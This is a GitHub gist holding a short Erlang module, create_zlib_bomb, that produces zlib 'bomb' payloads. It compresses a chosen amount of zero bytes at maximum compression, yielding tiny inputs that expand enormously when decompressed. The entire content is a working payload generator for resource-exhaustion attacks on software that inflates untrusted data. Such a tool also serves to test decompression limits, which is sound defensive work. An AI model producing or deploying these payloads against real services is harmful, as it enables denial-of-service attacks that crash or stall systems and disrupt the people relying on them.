Created
August 20, 2017 13:31
-
-
Save g-andrade/cf400367a87818a84a865d8992e0098f to your computer and use it in GitHub Desktop.
Create zlib payloads with obscene compression ratios
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-module(create_zlib_bomb). | |
-export([do_it/1]). | |
-define(CHUNK_SZ, (128 * (1 bsl 10))). | |
do_it(Size) -> | |
Z = zlib:open(), | |
zlib:deflateInit(Z, 9, deflated, 15, 9, default), | |
Data = deflate_zeroes(Z, Size), | |
zlib:deflateEnd(Z), | |
iolist_to_binary(Data). | |
deflate_zeroes(Z, Size) -> | |
Chunk = bin_zeroes(?CHUNK_SZ), | |
deflate_zeroes(Z, Size, Chunk). | |
deflate_zeroes(Z, Size, Chunk) when Size >= byte_size(Chunk) -> | |
zlib:deflate(Z, Chunk, none), | |
deflate_zeroes(Z, Size - byte_size(Chunk), Chunk); | |
deflate_zeroes(Z, Size, _Chunk) -> | |
TailChunk = bin_zeroes(Size), | |
zlib:deflate(Z, TailChunk, finish). | |
bin_zeroes(Size) -> | |
bin_zeroes(Size, []). | |
bin_zeroes(Size, Acc) when Size < 1 -> | |
list_to_binary(Acc); | |
bin_zeroes(Size, Acc) -> | |
bin_zeroes(Size - 1, [0 | Acc]). |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment